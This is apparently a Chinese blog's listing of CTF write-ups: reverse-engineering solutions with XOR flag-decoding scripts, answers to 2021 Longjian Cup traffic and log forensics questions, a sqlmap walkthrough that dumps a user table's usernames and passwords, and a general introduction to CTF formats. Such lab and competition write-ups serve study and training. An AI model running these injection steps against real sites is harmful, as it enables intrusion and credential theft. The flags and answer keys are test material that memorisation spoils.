0x0C, 0x0D, 0x40, 0x3E, 0x4B, 0x5F, 2, 1, 0x4C, 0x5E, 0x5B, 0x17, 0x6E, 0x0C, 0x16, 0x68, 0x5B, 0x12] flag="" for i in range(len(byte)): flag+=chr(byte[i]^ord(str1[i%16])) print(flag)flag{59b8ed8f-af22-11e7-bb4a-3cf862d1ee75}IgniteMe解题题目难度:21.让你输入正确的flag,先用IDA静态分析下。2.PE查壳工具看下有没有壳,看到是.txt并没有,一般我直接拖入IAD分析,查不查壳都一样,C++ 写的目测是易语言。3.百度下就知道是32位的,用32位的IDA打开进行分析。4.找到关键成功的地方,发现判断的对象是sub_4011C0(),如果等于真就成立执行成功的代码,我们可以进sub_4011C0()这个函数内看看,写的是什么逻辑。5.把数组中大写字母转为小写字母,小写字母转为大写字母。然后把数组与0x55异或后+72,然后再与数组byte_4420B0异或,和GONDPHyGjPEKruv{{pj]X@rF进行比较,判断出执行结果为GONDPHyGjPEKruv{{pj]X@rF,如果相同则正确。bytes = [ 13, 19, 23, 17, 2, 1, 32, 29, 12, 2, 25, 47, 23, 43, 36, 31, 30, 22, 9, 15, 21, 39, 19, 38, 10, 47, 30, 26, 45, 12, 34, 4 ] v7 = [] str2 = 'GONDPHyGjPEKruv{{pj]X@rF' band = '' for i in range(24): v7.append(bytes[i] ^ ord(str2[i])) v7[i] = (v7[i] - 72) ^ 0x55 band = band + chr(v7[i]).lower() print("EIS{%s}" % band)flag: EIS{wadx_tdgk_aihc_ihkn_pjlm}lucknum解题题目难度:11.没有后缀的文件,直接用IDA打开看看,加载的时候发现是个64位程序,进入直接F5查看伪代码,直接见flag,解毕!1000Click解题题目难度:1最简单的一个逆向题目,软件运行不破解点1000次也可以获得flag,但这样太不符合我的习惯,逆向不走常规路。方法11.利用cheat engine 修改内存点击次数到999方法21.利用OD根据错误提示找反汇编代码 push压栈 就是flag2.也可以用过IDA进行逆向分析,解毕!
2022年10月10日
412 阅读
0 评论
67 点赞
2022-09-21
【CTF解题】2021 陇剑杯解题
JWT此时正在进行的可能是 ( http ) 协议的网络攻击。(如有字母请全部使用小写,填写样例:http、dns、ftp)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:该网站使用了 ( JWT ) 认证方式。(如有字母请全部使用小写)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客绕过验证使用的jwt中,id和username是 ( 10086#admin )。(中间使用#号隔开,例如1#admin)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客获取webshell之后,权限是 ( root )。昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客上传的恶意文件文件名是 ( 1.c )。昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客在服务器上编译的恶意so文件,文件名是 ( looter.so )。(请提交带有文件后缀的文件名,例如x.so)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客在服务器上修改了一个配置文件,文件的绝对路径为 ( /etc/pam.d/common-auth )。(请确认绝对路径后再提交)webshell单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客登录系统使用的密码是 ( Admin123!@# )。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客修改了一个日志文件,文件的绝对路径为 ( /var/www/html/data/Runtime/Logs/Home/21_08_07.log )。(请确认绝对路径后再提交)单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客获取webshell之后,权限是 ( 1.php )。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客上传的代理工具客户端名字是 ( frpc.ini )。(如有字母请全部使用小写)单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客代理工具的回连服务端IP是 (192.168.239.123)。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客的socks5的连接账号、密码是 (0HDFt16cLQJ#JTN276Gp)。(中间使用#号隔开,例如admin#passwd)。简单日志分析某应用程序被攻击,请分析日志后作答:黑客攻击的参数是 (user=)。(如有字母请全部使用小写)某应用程序被攻击,请分析日志后作答:黑客查看的秘密文件的绝对路径是 (/Th4s_IS_VERY_Import_Fi1e)。某应用程序被攻击,请分析日志后作答:黑客反弹shell的ip和端口是 (192.168.2.197:8888)。(格式使用“ip:端口",例如127.0.0.1:2333)日志分析单位某应用程序被攻击,请分析日志,进行作答:网络存在源码泄漏,源码文件名是 (www.zip)。(请提交带有文件后缀的文件名,例如x.txt)单位某应用程序被攻击,请分析日志,进行作答:分析攻击流量,黑客往/tmp目录写入一个文件,文件名为 (sess_car)。单位某应用程序被攻击,请分析日志,进行作答:分析攻击流量,黑客使用的是 (SplFileObject) 类读取了秘密文件。SQL注入某应用程序被攻击,请分析日志后作答:黑客在注入过程中采用的注入手法叫 (布尔盲注)。(格式为4个汉字,例如“拼搏努力”)。黑客在注入过程中,最终获取flag的数据库名、表名和字段名是 (sqli#flag#flag)。(格式为“数据库名#表名#字段名”,例如database#table#column)
2022年09月21日
35 阅读
0 评论
6 点赞
2021-03-05
【CTF解题】墨者学院 SQL注入实战
sqlmap注入首先寻找注入点,题目给我们提示了X-Forwarded-for,说明题需要使用到。我使用了Fiddler抓包或burpsuite,尝试随便输入一个账号密码,登录发现出来一个弹窗,在浏览器显示乱码了,但在抓包软件里能看到,很显然需要是内网本机才能登录。这里给提交登录的POST请求头加上了 x-forwarded-for: 127.0.0.1经过几轮测试,发现账号密码没有注入点而x-forwarded-for 存在sql注入点。把提交的数据都写在一个txt文本文档里,导入sqlmap进行自动注入。sqlmap -r a.txt -dbs -batch首先列出可用的数据库列表。sqlmap -r a.txt -D webcalendar -tables -batch再看数据库有哪些表。sqlmap -r a.txt -D webcalendar -T user -columns -batch再查看表的字段。sqlmap -r a.txt -D webcalendar -T user -C username,password -dump -batch最后输出字段内容。这道题考验我们的并不是x-Forwared-for的设置,而是存在sql注入点的利用。
2021年03月05日
27 阅读
0 评论
2 点赞
2021-01-05
【CTF解题】CTF入门介绍 ( 基本了解 )
CTF赛制概述CTF(Capture The Flag)是网络安全领域的技术竞技比赛,起源于1996年DEFCON大会,现已成为全球范围内广泛举行的比赛形式。赛题类型涵盖不同的网络安全技术领域,以下是常见的赛制模式及赛题分类:1. Jeopardy-解题模式概述:参赛队伍通过解题获得分数,题目多为网络安全技术挑战。类似ACM编程竞赛,通过解题积累分数,并可能根据时间和得分排名。常见规则:包括“First Blood”(首解)奖励、题目分值动态调整(即解答人数越多,分值越低)。2. AWD-攻防模式概述:参赛队伍不仅要防守自己的系统(GameBox),还需要攻击对方的系统。通过防御和攻击操作获取分数。特点:比赛持续24-48小时,涉及实时攻防对抗,要求参赛队员具有较强的技术与协作能力。3. AWP-攻防增强模式概述:结合攻击与防御,选手攻击一次、修复一次即可完成题目。与AWD相比,选手无需持续维护环境,减少了硬件与运维负担。特点:简化了攻击和防御操作,更注重选手的效率。4. RHG-自动化攻防概述:通过编写自动化程序(bot)进行漏洞挖掘与攻击。选手提交的bot会全自动进行任务,无需人工干预。特点:强调自动化与工程化能力,比赛过程全程自动化运行。5. RW-真实世界模式概述:模拟真实的渗透测试环境,选手需要在真实环境中挖掘漏洞并攻击。比赛时,选手需要展示攻击成果,现场验证攻击效果。特点:与实际工作中渗透测试更为贴近,强调实战能力。6. KoH-抢占山头模式概述:选手通过挖掘漏洞控制目标系统,并进行加固防御,防止其他队伍入侵。定期检查系统标识文件,根据文件标识判定得分。特点:结合渗透攻击与防御加固,强调持续控制与防护能力。7. Mix-混合模式概述:结合多种模式进行比赛,例如解题和攻防模式并行,提升比赛的多样性与挑战性。特点:为参赛队伍提供更多的题型和模式,适应不同的技术需求。CTF赛题分类Web 渗透测试特点:利用 Web 应用漏洞获取敏感信息或控制权限。常见漏洞有 SQL 注入、XSS、命令注入等。工具:Burp Suite、SQLmap 等。Crypto 密码学特点:破解加密算法或编码技术。涉及经典密码、加密算法漏洞分析等。工具:CyberChef、Hashcat 等。Pwn 二进制漏洞利用特点:通过利用二进制漏洞进行攻击,常见如缓冲区溢出、格式化字符串漏洞等。工具:GDB、Pwntools、IDA Pro 等。Reverse 逆向工程特点:通过静态与动态分析程序代码,理解其功能并发现漏洞。工具:IDA Pro、OllyDbg、Ghidra 等。Misc 杂项特点:包括取证、隐写等不容易归类到其他类型的题目。工具:ExifTool、Steghide 等。CTF二次元版
2021年01月05日
36 阅读
0 评论
7 点赞
1
2
0:00